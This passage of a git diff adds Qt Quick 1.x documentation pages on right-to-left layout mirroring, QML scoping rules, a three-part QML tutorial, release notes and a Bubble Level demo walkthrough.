+text lines should should be aligned to the right side of the available text area. The location of visual
+elements should not be mirrored when the position is related to a content; for example, when a
+position marker is shown to indicate a location on a map. Also, there are some special cases you may
+need to take into account where right-to-left language speakers are used to left-to-right
+positioning, for example when using number dialers in phones and media play, pause, rewind and
+forward buttons in music players.
+
+\section1 Text Alignment
+
+(This applies to the \l Text, \l TextInput and \l TextEdit elements.)
+
+When the horizontal alignment of a text item is not explicitly set, the text element is
+automatically aligned to the natural reading direction of the text. By default left-to-right text
+like English is aligned to the left side of the text area, and right-to-left text like Arabic is
+aligned to the right side of the text area. The alignment of a text element with empty text takes
+its alignment cue from \l QApplication::keyboardInputDirection(), which is based on the active
+system locale.
+
+This default locale-based alignment can be overriden by setting the \c horizontalAlignment
+property for the text element, or by enabling layout mirroring using the \l LayoutMirroring attached
+property, which causes any explicit left and right horizontal alignments to be mirrored.
+Note that when \l LayoutMirroring is set, the \c horizontalAlignment property value remains unchanged;
+use the property \c LayoutMirroring.enabled instead to query whether the mirroring is in effect.
+
+\snippet doc/src/snippets/declarative/righttoleft.qml 0
+
+\section1 Layout direction of positioners and views
+
+(This applies to the \l Row, \l Grid, \l Flow, \l ListView and \l GridView elements.)
+
+From Qt Quick 1.1 onwards, elements used for horizontal positioning and model views have gained a \c layoutDirection
+property for controlling the horizontal direction of the layouts. Setting \c layoutDirection to
+\c Qt.RightToLeft causes items to be laid out from the right to left. By default Qt Quick follows
+the left-to-right layout direction.
+
+The horizontal layout direction can also be reversed through the \l LayoutMirroring attached property.
+This causes the effective \c layoutDirection of positioners and views to be mirrored. Note though that the actual
+value of the \c layoutDirection property will remain unchanged; use the property \c LayoutMirroring.enabled instead
+to query whether the mirroring is in effect.
+
+\snippet doc/src/snippets/declarative/righttoleft.qml 1
+
+\section1 Layout mirroring
+
+The attached property \l LayoutMirroring is provided as a convenience for easily implementing right-to-left
+support for existing left-to-right Qt Quick applications. It mirrors the behavior of \l {anchor-layout}
+{Item anchors}, the layout direction of \l{Using QML Positioner and Repeater Items}{positioners} and
+model views, and the explicit text alignment of QML text elements.
+
+You can enable layout mirroring for a particular \l Item:
+
+\snippet doc/src/snippets/declarative/righttoleft.qml 2
+
+Or set all child elements to also inherit the layout direction:
+
+\snippet doc/src/snippets/declarative/righttoleft.qml 3
+
+Applying mirroring in this manner does not change the actual value of the relevant anchor,
+\c layoutDirection or \c horizontalAlignment properties. The separate read-only property
+\c effectiveLayoutDirection can be used to query the effective layout
+direction of positioners and model views that takes the mirroring into account. Similarly the \l Text,
+\l TextInput and \l TextEdit elements have gained the read-only property \c effectiveHorizontalAlignment
+for querying the effective visual alignment of text. For anchors, the read only
+\l {Item::anchors.top}{anchors.mirrored} property reflects whether anchors have been mirrored.
+
+Note that application layouts and animations that are defined using \l {Item::}{x} property values (as
+opposed to anchors or positioner elements) are not affected by the \l LayoutMirroring attached property.
+Therefore, adding right-to-left support to these types of layouts may require some code changes to your application,
+especially in views that rely on both the anchors and x coordinate-based positioning. Here is one way to use
+the \l LayoutMirroring attached property to apply mirroring to an item that is positioned using \l {Item::}{x}
+coordinates:
+
+\snippet doc/src/snippets/declarative/righttoleft.qml 4
+
+Not all layouts should necessarily be mirrored. There are cases where a visual element is positioned to
+the right side of the screen for improved one-handed use, because most people are right-handed, and not
+because of the reading direction. In the case that a child element should not be affected by mirroring,
+set the \l {LayoutMirroring::enabled}{LayoutMirroring.enabled} property for that element to false.
+
+Qt Quick is designed for developing animated, fluid user interfaces. When mirroring your application, remember to test that
+the animations and transitions continue to work as expected. If you do not have the resources to add
+right-to-left support for your application, it may be better to just keep the application layouts left
+aligned and just make sure that text is translated and aligned properly.
+
+\section1 Mirroring icons
+
+(This applies to \l Image, \l BorderImage and \l AnimatedImage elements.)
+
+Most images do not need to be mirrored, but some directional icons, such as arrows, may need to be mirrored.
+The painting of these icons can be mirrored with a dedicated \c mirror property introduced in Qt Quick 1.1:
+
+\snippet doc/src/snippets/declarative/righttoleft.qml 5
+
+\section1 Default layout direction
+
+The \l {QML:Qt::application}{Qt.application.layoutDirection} property can be used to query the active layout direction of the
+application. It is based on QApplication::layoutDirection(), which most commonly determines the layout
+direction from the active language translation file.
+
+To define the layout direction for a particular locale, declare the dedicated string literal
+\c QT_LAYOUT_DIRECTION in context \c QApplication as either "LTR" or "RTL".
+
+You can do this by first introducing this line
+
+\code
+QT_TRANSLATE_NOOP("QApplication", "QT_LAYOUT_DIRECTION");
+\endcode
+
+somewhere in your QML source code and calling \c lupdate to generate the translation source file.
+
+\code
+lupdate myapp.qml -ts myapp.ts
+\endcode
+
+This will append the following declaration to the translation file, where you can fill in either "LTR" or
+"RTL" as the translation for the locale.
+
+\code
+<context>
+ <name>QApplication</name>
+ <message>
+ <location filename="myapp.qml" line="33"/>
+ <source>QT_LAYOUT_DIRECTION</source>
+ <translation type="unfinished">RTL</translation>
+ </message>
+</context>
+\endcode
+
+You can test that the layout direction works as expected by running your Qt Quick application with
+the compiled translation file:
+
+\code
+qmlviewer myapp.qml -translation myapp.qm
+\endcode
+
+You can test your application in right-to-left layout direction simply by executing qmlviewer with a
+command-line parameter "-reverse":
+
+\code
+qmlviewer myapp.qml -reverse
+\endcode
+
+The layout direction can also be set from C++ by calling the static function \l QApplication::setLayoutDirection():
+
+\code
+QApplication app(argc, argv);
+app.setLayoutDirection(Qt::RightToLeft);
+\endcode
+
+*/
diff --git a/doc/src/declarative/scope.qdoc b/doc/src/declarative/scope.qdoc
new file mode 100644
index 00000000..bb350c27
--- /dev/null
+++ b/doc/src/declarative/scope.qdoc
@@ -0,0 +1,304 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+/*!
+\page qdeclarativescope.html
+\title QML Scope
+
+\tableofcontents
+
+QML property bindings, inline functions and imported JavaScript files all
+run in a JavaScript scope. Scope controls which variables an expression can
+access, and which variable takes precedence when two or more names conflict.
+
+As JavaScript's built-in scope mechanism is very simple, QML enhances it to fit
+more naturally with the QML language extensions.
+
+\section1 JavaScript Scope
+
+QML's scope extensions do not interfere with JavaScript's natural scoping.
+JavaScript programmers can reuse their existing knowledge when programming
+functions, property bindings or imported JavaScript files in QML.
+
+In the following example, the \c {addConstant()} method will add 13 to the
+parameter passed just as the programmer would expect irrespective of the
+value of the QML object's \c a and \c b properties.
+
+\code
+QtObject {
+ property int a: 3
+ property int b: 9
+
+ function addConstant(b) {
+ var a = 13;
+ return b + a;
+ }
+}
+\endcode
+
+That QML respects JavaScript's normal scoping rules even applies in bindings.
+This totally evil, abomination of a binding will assign 12 to the QML object's
+\c a property.
+
+\code
+QtObject {
+ property int a
+
+ a: { var a = 12; a; }
+}
+\endcode
+
+Every JavaScript expression, function or file in QML has its own unique
+variable object. Local variables declared in one will never conflict
+with local variables declared in another.
+
+\section1 Element Names and Imported JavaScript Files
+
+\l {QML Document}s include import statements that define the element names
+and JavaScript files visible to the document. In addition to their use in the
+QML declaration itself, element names are used by JavaScript code when accessing
+\l {Attached Properties} and enumeration values.
+
+The effect of an import applies to every property binding, and JavaScript
+function in the QML document, even those in nested inline components. The
+following example shows a simple QML file that accesses some enumeration
+values and calls an imported JavaScript function.
+
+\code
+import QtQuick 1.0
+import "code.js" as Code
+
+ListView {
+ snapMode: ListView.SnapToItem
+
+ delegate: Component {
+ Text {
+ elide: Text.ElideMiddle
+ text: "A really, really long string that will require eliding."
+ color: Code.defaultColor()
+ }
+ }
+}
+\endcode
+
+\section1 Binding Scope Object
+
+Property bindings are the most common use of JavaScript in QML. Property
+bindings associate the result of a JavaScript expression with a property of an
+object. The object to which the bound property belongs is known as the binding's
+scope object. In this QML simple declaration the \l Item object is the
+binding's scope object.
+
+\code
+Item {
+ anchors.left: parent.left
+}
+\endcode
+
+Bindings have access to the scope object's properties without qualification.
+In the previous example, the binding accesses the \l Item's \c parent property
+directly, without needing any form of object prefix. QML introduces a more
+structured, object-oriented approach to JavaScript, and consequently does not
+require the use of the JavaScript \c this property.
+
+Care must be used when accessing \l {Attached Properties} from bindings due
+to their interaction with the scope object. Conceptually attached properties
+exist on \e all objects, even if they only have an effect on a subset of those.
+Consequently unqualified attached property reads will always resolve to an
+attached property on the scope object, which is not always what the programmer
+intended.
+
+For example, the \l PathView element attaches interpolated value properties to
+its delegates depending on their position in the path. As PathView only
+meaningfully attaches these properties to the root element in the delegate, any
+sub-element that accesses them must explicitly qualify the root object, as shown
+below.
+
+\code
+PathView {
+ delegate: Component {
+ Rectangle {
+ id: root
+ Image {
+ scale: root.PathView.scale
+ }
+ }
+ }
+}
+\endcode
+
+If the \l Image element omitted the \c root prefix, it would inadvertently access
+the unset \c {PathView.scale} attached property on itself.
+
+\section1 Component Scope
+
+Each QML component in a QML document defines a logical scope. Each document
+has at least one root component, but can also have other inline sub-components.
+The component scope is the union of the object ids within the component and the
+component's root element's properties.
+
+\code
+Item {
+ property string title
+
+ Text {
+ id: titleElement
+ text: "<b>" + title + "</b>"
+ font.pixelSize: 22
+ anchors.top: parent.top
+ }
+
+ Text {
+ text: titleElement.text
+ font.pixelSize: 18
+ anchors.bottom: parent.bottom
+ }
+}
+\endcode
+
+The example above shows a simple QML component that displays a rich text title
+string at the top, and a smaller copy of the same text at the bottom. The first
+\c Text element directly accesses the component's \c title property when
+forming the text to display. That the root element's properties are directly
+accessible makes it trivial to distribute data throughout the component.
+
+The second \c Text element uses an id to access the first's text directly. IDs
+are specified explicitly by the QML programmer so they always take precedence
+over other property names (except for those in the \l {JavaScript Scope}). For
+example, in the unlikely event that the binding's \l {Binding Scope Object}{scope
+object} had a \c titleElement property in the previous example, the \c titleElement
+id would still take precedence.
+
+\section1 Component Instance Hierarchy
+
+In QML, component instances connect their component scopes together to form a
+scope hierarchy. Component instances can directly access the component scopes of
+their ancestors.
+
+The easiest way to demonstrate this is with inline sub-components whose component
+scopes are implicitly scoped as children of the outer component.
+
+\code
+Item {
+ property color defaultColor: "blue"
+
+ ListView {
+ delegate: Component {
+ Rectangle {
+ color: defaultColor
+ }
+ }
+ }
+}
+\endcode
+
+The component instance hierarchy allows instances of the delegate component
+to access the \c defaultColor property of the \c Item element. Of course,
+had the delegate component had a property called \c defaultColor that would
+have taken precedence.
+
+The component instance scope hierarchy extends to out-of-line components, too.
+In the following example, the \c TitlePage.qml component creates two
+\c TitleText instances. Even though the \c TitleText element is in a separate
+file, it still has access to the \c title property when it is used from within
+the \c TitlePage. QML is a dynamically scoped language - depending on where it
+is used, the \c title property may resolve differently.
+
+\code
+// TitlePage.qml
+import QtQuick 1.0
+Item {
+ property string title
+
+ TitleText {
+ size: 22
+ anchors.top: parent.top
+ }
+
+ TitleText {
+ size: 18
+ anchors.bottom: parent.bottom
+ }
+}
+
+// TitleText.qml
+import QtQuick 1.0
+Text {
+ property int size
+ text: "<b>" + title + "</b>"
+ font.pixelSize: size
+}
+\endcode
+
+Dynamic scoping is very powerful, but it must be used cautiously to prevent
+the behavior of QML code from becoming difficult to predict. In general it
+should only be used in cases where the two components are already tightly
+coupled in another way. When building reusable components, it is preferable
+to use property interfaces, like this:
+
+\code
+// TitlePage.qml
+import QtQuick 1.0
+Item {
+ id: root
+ property string title
+
+ TitleText {
+ title: root.title
+ size: 22
+ anchors.top: parent.top
+ }
+
+ TitleText {
+ title: root.title
+ size: 18
+ anchors.bottom: parent.bottom
+ }
+}
+
+// TitleText.qml
+import QtQuick 1.0
+Text {
+ property string title
+ property int size
+
+ text: "<b>" + title + "</b>"
+ font.pixelSize: size
+}
+\endcode
+
+\section1 JavaScript Global Object
+
+In addition to all the properties that a developer would normally expect on
+the JavaScript global object, QML adds some custom extensions to make UI or
+QML specific tasks a little easier. These extensions are described in the
+\l {QML Global Object} documentation.
+
+QML disallows element, id and property names that conflict with the properties
+on the global object to prevent any confusion. Programmers can be confident
+that \c Math.min(10, 9) will always work as expected!
+
+*/
diff --git a/doc/src/declarative/tutorial.qdoc b/doc/src/declarative/tutorial.qdoc
new file mode 100644
index 00000000..91db7be4
--- /dev/null
+++ b/doc/src/declarative/tutorial.qdoc
@@ -0,0 +1,226 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+\page qml-tutorial.html
+\title QML Tutorial
+\brief An introduction to the basic concepts and features of QML.
+\nextpage QML Tutorial 1 - Basic Types
+
+This tutorial gives an introduction to QML, the mark up language for Qt Quick. It doesn't cover everything;
+the emphasis is on teaching the key principles, and features are introduced as needed.
+
+Through the different steps of this tutorial we will learn about QML basic types, we will create our own QML component
+with properties and signals, and we will create a simple animation with the help of states and transitions.
+
+Chapter one starts with a minimal "Hello world" program and the following chapters introduce new concepts.
+
+The tutorial's source code is located in the $QTDIR/examples/declarative/tutorials/helloworld directory.
+
+Tutorial chapters:
+
+\list 1
+\o \l {QML Tutorial 1 - Basic Types}{Basic Types}
+\o \l {QML Tutorial 2 - QML Components}{QML Components}
+\o \l {QML Tutorial 3 - States and Transitions}{States and Transitions}
+\endlist
+
+*/
+
+/*!
+\page qml-tutorial1.html
+\title QML Tutorial 1 - Basic Types
+\contentspage QML Tutorial
+\previouspage QML Tutorial
+\nextpage QML Tutorial 2 - QML Component
+
+This first program is a very simple "Hello world" example that introduces some basic QML concepts.
+The picture below is a screenshot of this program.
+
+\image declarative-tutorial1.png
+
+Here is the QML code for the application:
+
+\snippet examples/declarative/tutorials/helloworld/tutorial1.qml 0
+
+\section1 Walkthrough
+
+\section2 Import
+
+First, we need to import the types that we need for this example. Most QML files will import the built-in QML
+types (like \l{Rectangle}, \l{Image}, ...) that come with Qt, using:
+
+\snippet examples/declarative/tutorials/helloworld/tutorial1.qml 3
+
+\section2 Rectangle element
+
+\snippet examples/declarative/tutorials/helloworld/tutorial1.qml 1
+
+We declare a root element of type \l{Rectangle}. It is one of the basic building blocks you can use to create an application in QML.
+We give it an \c{id} to be able to refer to it later. In this case, we call it "page".
+We also set the \c width, \c height and \c color properties.
+The \l{Rectangle} element contains many other properties (such as \c x and \c y), but these are left at their default values.
+
+\section2 Text element
+
+\snippet examples/declarative/tutorials/helloworld/tutorial1.qml 2
+
+We add a \l Text element as a child of the root Rectangle element that displays the text 'Hello world!'.
+
+The \c y property is used to position the text vertically at 30 pixels from the top of its parent.
+
+The \c anchors.horizontalCenter property refers to the horizontal center of an element.
+In this case, we specify that our text element should be horizontally centered in the \e page element (see \l{anchor-layout}{Anchor-Based Layout}).
+
+The \c font.pointSize and \c font.bold properties are related to fonts and use the \l{dot properties}{dot notation}.
+
+
+\section2 Viewing the example
+
+To view what you have created, run the \l{QML Viewer} tool (located in the \c bin directory) with your filename as the first argument.
+For example, to run the provided completed Tutorial 1 example from the install location, you would type:
+
+\code
+bin/qmlviewer $QTDIR/examples/declarative/tutorials/helloworld/tutorial1.qml
+\endcode
+*/
+
+/*!
+\page qml-tutorial2.html
+\title QML Tutorial 2 - QML Components
+\contentspage QML Tutorial
+\previouspage QML Tutorial 1 - Basic Types
+\nextpage QML Tutorial 3 - States and Transitions
+
+This chapter adds a color picker to change the color of the text.
+
+\image declarative-tutorial2.png
+
+Our color picker is made of six cells with different colors.
+To avoid writing the same code multiple times for each cell, we create a new \c Cell component.
+A component provides a way of defining a new type that we can re-use in other QML files.
+A QML component is like a black-box and interacts with the outside world through properties, signals and functions and is generally
+defined in its own QML file. (For more details, see \l {Defining New Components}).
+The component's filename must always start with a capital letter.
+
+Here is the QML code for \c Cell.qml:
+
+\snippet examples/declarative/tutorials/helloworld/Cell.qml 0
+
+\section1 Walkthrough
+
+\section2 The Cell Component
+
+\snippet examples/declarative/tutorials/helloworld/Cell.qml 1
+
+The root element of our component is an \l Item with the \c id \e container.
+An \l Item is the most basic visual element in QML and is often used as a container for other elements.
+
+\snippet examples/declarative/tutorials/helloworld/Cell.qml 4
+
+We declare a \c cellColor property. This property is accessible from \e outside our component, this allows us
+to instantiate the cells with different colors.
+This property is just an alias to an existing property - the color of the rectangle that compose the cell (see \l{Property Binding}).
+
+\snippet examples/declarative/tutorials/helloworld/Cell.qml 5
+
+We want our component to also have a signal that we call \e clicked with a \e cellColor parameter of type \e color.
+We will use this signal to change the color of the text in the main QML file later.
+
+\snippet examples/declarative/tutorials/helloworld/Cell.qml 2
+
+Our cell component is basically a colored rectangle with the \c id \e rectangle.
+
+The \c anchors.fill property is a convenient way to set the size of an element.
+In this case the rectangle will have the same size as its parent (see \l{anchor-layout}{Anchor-Based Layout}).
+
+\snippet examples/declarative/tutorials/helloworld/Cell.qml 3
+
+In order to change the color of the text when clicking on a cell, we create a \l MouseArea element with
+the same size as its parent.
+
+A \l MouseArea defines a signal called \e clicked.
+When this signal is triggered we want to emit our own \e clicked signal with the color as parameter.
+
+\section2 The main QML file
+
+In our main QML file, we use our \c Cell component to create the color picker:
+
+\snippet examples/declarative/tutorials/helloworld/tutorial2.qml 0
+
+We create the color picker by putting 6 cells with different colors in a grid.
+
+\snippet examples/declarative/tutorials/helloworld/tutorial2.qml 1
+
+When the \e clicked signal of our cell is triggered, we want to set the color of the text to the \e cellColor passed as a parameter.
+We can react to any signal of our component through a property of the name \e 'onSignalName' (see \l{Signal Handlers}).
+*/
+
+/*!
+\page qml-tutorial3.html
+\title QML Tutorial 3 - States and Transitions
+\contentspage QML Tutorial
+\previouspage QML Tutorial 2 - QML Component
+
+In this chapter, we make this example a little bit more dynamic by introducing states and transitions.
+
+We want our text to move to the bottom of the screen, rotate and become red when clicked.
+
+\image declarative-tutorial3_animation.gif
+
+Here is the QML code:
+
+\snippet examples/declarative/tutorials/helloworld/tutorial3.qml 0
+
+\section1 Walkthrough
+
+\snippet examples/declarative/tutorials/helloworld/tutorial3.qml 2
+
+First, we create a new \e down state for our text element.
+This state will be activated when the \l MouseArea is pressed, and deactivated when it is released.
+
+The \e down state includes a set of property changes from our implicit \e {default state}
+(the items as they were initially defined in the QML).
+Specifically, we set the \c y property of the text to \c 160, the rotation to \c 180 and the \c color to red.
+
+\snippet examples/declarative/tutorials/helloworld/tutorial3.qml 3
+
+Because we don't want the text to appear at the bottom instantly but rather move smoothly,
+we add a transition between our two states.
+
+\c from and \c to define the states between which the transition will run.
+In this case, we want a transition from the default state to our \e down state.
+
+Because we want the same transition to be run in reverse when changing back from the \e down state to the default state,
+we set \c reversible to \c true.
+This is equivalent to writing the two transitions separately.
+
+The \l ParallelAnimation element makes sure that the two types of animations (number and color) start at the same time.
+We could also run them one after the other by using \l SequentialAnimation instead.
+
+For more details on states and transitions, see \l {QML States} and the \l{declarative/animation/states}{states and transitions example}.
+*/
diff --git a/doc/src/declarative/whatsnew.qdoc b/doc/src/declarative/whatsnew.qdoc
new file mode 100644
index 00000000..9829f23a
--- /dev/null
+++ b/doc/src/declarative/whatsnew.qdoc
@@ -0,0 +1,188 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+\title What's New in Qt Quick
+\page qtquick-whatsnew.html
+
+\section1 Qt 4.7.4 includes QtQuick 1.1
+
+QtQuick 1.1 is a minor feature update. \e {import QtQuick 1.1} to use the new
+features.
+
+\section2 PinchArea
+
+PinchArea provides support for the common two finger pinch gesture.
+
+\section2 LayoutMirroring attached property
+
+\l {LayoutMirroring}{Layout mirroring} is useful when you need to support both
+left-to-right and right-to-left layout versions of your application that target
+different language areas.
+
+\section2 Text
+
+Added the following properties:
+\list
+\o \l {Text::}{lineHeight}
+\o \l {Text::}{lineHeightMode}
+\o \l {Text::}{lineCount}
+\o \l {Text::}{maximumLineCount}
+\o \l {Text::}{truncated}
+\endlist
+
+horizontalAlignment now accepts Text.AlignJustify alignment mode.
+
+\section2 TextEdit
+
+Added the following properties, methods and signal handlers:
+\list
+\o \l {TextEdit::}{canPaste}
+\o \l {TextEdit::}{lineCount}
+\o \l {TextEdit::}{inputMethodComposing}
+\o \l {TextEdit::}{mouseSelectionMode}
+\o \l {TextEdit::}{deselect()}
+\o \l {TextEdit::}{isRightToLeft()}
+\o \l {TextEdit::}{moveCursorSelection()} to enable selection by word
+\o \l {TextEdit::}{onLinkActivated}
+\endlist
+
+\section2 TextInput
+
+Added the following properties and methods:
+\list
+\o \l {TextInput::}{canPaste}
+\o \l {TextInput::}{inputMethodComposing}
+\o \l {TextInput::}{mouseSelectionMode}
+\o \l {TextInput::}{deselect()}
+\o \l {TextInput::}{isRightToLeft()}
+\o \l {TextInput::}{moveCursorSelection()} to enable selection by word
+\endlist
+
+\section2 Image, BorderImage and AnimatedImage
+
+Added the following properties:
+\list
+\o \l{Image::}{cache}
+\o \l{Image::}{mirror}
+\endlist
+
+\section2 Item
+
+Added the following properties:
+\list
+\o \l{Item::}{implicitWidth} and \l{Item::}{implicitHeight}
+\endlist
+
+\section2 Flickable
+
+Added the following methods:
+\list
+\o \l{Flickable::}{resizeContent()}
+\o \l{Flickable::}{returnToBounds()}
+\endlist
+
+\section2 MouseArea
+
+Added the following property:
+\list
+\o \l{MouseArea::}{preventStealing}
+\endlist
+
+\section2 ListView and GridView
+
+Added the following properties and methods:
+\list
+\o \l{ListView::}{layoutDirection}
+\o \l{ListView::}{positionViewAtBeginning()}
+\o \l{ListView::}{positionViewAtEnd()}
+\endlist
+
+\section2 Flow, Grid and Row
+
+Added the following property:
+\list
+\o \l{Flow::}{layoutDirection}
+\endlist
+
+\section2 Repeater
+
+Added the following methods and signal handlers:
+\list
+\o \l{Repeater::}{onItemAdded}
+\o \l{Repeater::}{onItemRemoved}
+\o \l{Repeater::}{itemAt()}
+\endlist
+
+\section2 Component
+
+\list
+\o The \l{Component::}{createObject()} method now accepts a map of initial
+property values for the created object.
+\endlist
+
+\section2 Qt
+
+\list
+\o Added the \l {QML:Qt::application}{Qt.application} object to hold generic
+global application properties.
+\endlist
+
+\section2 Other changes
+
+\list
+\o Functions can be \l{Property Binding#Property Binding}{assigned to properties from JavaScript}
+to create property bindings.
+\o QtQuick now supports Right to Left layout in positioners, views, anchors and text elements.
+\endlist
+
+
+\section1 Qt 4.7.1
+
+\section2 QtQuick namespace
+
+In prior Qt releases, all the Qt Quick elements were available in the \e Qt
+namespace. Starting with Qt 4.7.1, the elements are also available in the
+\e QtQuick namespace, which improves naming consistency, and allows the
+development of Qt Quick to occur at a faster rate than Qt's usual minor release
+schedule.
+
+The change for developers is very simple - where you previously wrote
+\e {import Qt 4.7}, just replace it with \e {import QtQuick 1.0}, like this:
+
+\code
+import QtQuick 1.0
+
+Text {
+ text: "Welcome to QtQuick 1.0!"
+}
+\endcode
+
+\e {import Qt 4.7} continues to work so existing applications won't break even
+if they aren't updated, but it is recommended that all import statements be
+modified to the new form.
+*/
diff --git a/doc/src/demos/qml-qtbubblelevel.qdoc b/doc/src/demos/qml-qtbubblelevel.qdoc
new file mode 100644
index 00000000..4e0ead4b
--- /dev/null
+++ b/doc/src/demos/qml-qtbubblelevel.qdoc
@@ -0,0 +1,111 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+ \page qtbubblelevel_example.html
+ \title Qt Bubble Level Demo
+ \example demos/mobile/qtbubblelevel
+
+\brief Qt Bubble Level is a simple application that uses
+Qt Mobility's accelerometer APIs and hardware
+sensor information to calculate the inclination of the device and presents this
+as atraditional bubble level.
+
+The application provides a calibration feature to
+handle any possible errors in accelerometer readings. The example is hosted in
+Projects Forum Nokia: https://projects.forum.nokia.com/qtbubblelevel
+
+\note This demonstration requires QtMobility libraries.
+
+ \image qml-qtbubblelevel-demo.png
+
+ \section1 Initialising the application
+
+ All of the initialisations are done in the main function.
+
+ First, QDeclarativeView is created to intepret the QML files. The QML file given is found in the Qt resource. The root QML element is set to resize to the view whenever the view is resized.
+
+ \snippet demos/mobile/qtbubblelevel/main.cpp 0
+
+ The Settings object will handle the loading or storing of the calibration value. Next, we create instances from QAccelerometer and AccelerometerFilter and attach the filter to the sensor.
+
+ \snippet demos/mobile/qtbubblelevel/main.cpp 1
+
+ The Qt code is then connected to QML code by using Qt Signals and Slots connections. First, the root object is retrieved from QDeclarativeView. The root object now represents the Qt object of the QML root element.
+
+ The saveCorrectionAngle signal of the QML root element is connected to the Qt slot saveCorrectionAngle. The rotationChanged and correctionAngle Qt signals are connected to the handleRotation and setCorrectionAngle slot of the QML root element. Finally, the quit signal of QDeclarativeEngine is connected to QApplication's quit slot.
+
+ \snippet demos/mobile/qtbubblelevel/main.cpp 2
+
+ On the Maemo target, the application needs a minimise button, so we connect one additional QML signal to the Qt slot. The minimise button is made visible by setting the value of the QML root element's taskSwitcherVisible property to true.
+
+ \snippet demos/mobile/qtbubblelevel/main.cpp 3
+
+ The correction factor of the accelerometer is retrieved from persistent storage by using QSettings. The correction factor is signalled to the QML side by using the function setCorrectionAngle. The accelerometer sensor is started and it will eventually begin to signal the changes in accelerometer readings.
+
+ \snippet demos/mobile/qtbubblelevel/main.cpp 4
+
+ Finally, in the end of the function the view is shown in full screen on mobile devices. On other targets, the application is shown as 800 x 480 resolution in the 100, 100 position from the top-left corner of the desktop.
+
+ \snippet demos/mobile/qtbubblelevel/main.cpp 5
+
+ \section1 Accessing the accelerometer information
+
+ The inclination of the device is resolved by using the QAccelerometer sensor of QtMobility. We already created the sensor in the main function and attached our self-derived AccelerometerFilter object to it. Here is the definition of the AccelerometerFilter class:
+
+ \snippet demos/mobile/qtbubblelevel/accelerometerfilter.h 0
+
+ The class is multiderived from QObject and QAccelerometerFilter classes. The QAccelerometerFilter class is derived from QObject because we want to use Qt Signals and Slots to signal changes in accelerometer readings.
+
+ The members x, y, and z store the previous values of the sensor reading in order to implement a low pass filter to the values.
+
+ In the implementation of the AccelerometerFilter class, we first read the value of each axis from the QAccelerometerReading object. The values are then converted from radians to degrees and applied the low pass filter to reduce noise in the sensor readings. Different low pass factors are used depending on the platform (these were determined to be good via experimenting). Finally, the calculated value is emitted.
+
+ Note that the accelerometer sensors are oriented differently in Symbian and Maemo devices, and we must account for this by using platform-specific code.
+
+ \snippet demos/mobile/qtbubblelevel/accelerometerfilter.cpp 0
+
+ \section1 The Qt Quick UI
+
+ BubbleLevel.qml is the main QML element. It represents the wooden board of the bubble level, and it also acts as a connection point between the QML and the Qt side. In the beginning of the element, there are two signals, two functions, and one property. All of these define the interface between Qt and QML.
+
+ On the Maemo platform, when the application is to be minimised, minimizeApplication is signalled. When a new calibration factor is to be stored in the device's memory, saveCorrectionAngle is signalled.
+
+ The handleRotation function acts as a Qt slot to which the AccelerometerFilters signal rotationChanged is connected. Similarly, the setCorrectionAngle function also acts as a Qt slot to which the Settings object's signal, correctionAngle, is connected.
+
+ The property alias taskSwitcherVisible is provided to allow the Qt model to show or hide the task switcher button which minimises the application. This is only meaningful on Maemo platforms, where every application normally has a task switcher button.
+
+ \snippet demos/mobile/qtbubblelevel/qml/BubbleLevel.qml 0
+
+ The Tube element represents the the glass tube of the bubble level. It is anchored to the centre of the wooden board. The width and height are calculated with specific factors to make the glass tube scale to different resolutions.
+
+ \snippet demos/mobile/qtbubblelevel/qml/BubbleLevel.qml 1
+
+ In the implementation of Tube.qml, the property deg represents the current inclination. The x-position of the bubble is bound to the JavaScript function calX which is called every time the property deg, center, or bubblCenter is changed. The function places the bubble in the corresponding place on its parent.
+
+ \snippet demos/mobile/qtbubblelevel/qml/Tube.qml 0
+*/
diff --git a/doc/src/examples/qml-calculator.qdoc b/doc/src/examples/qml-calculator.qdoc
new file mode 100644
index 00000000..bc60c853
--- /dev/null
+++ b/doc/src/examples/qml-calculator.qdoc
@@ -0,0 +1,36 @@
+/****************************************************************************
+**
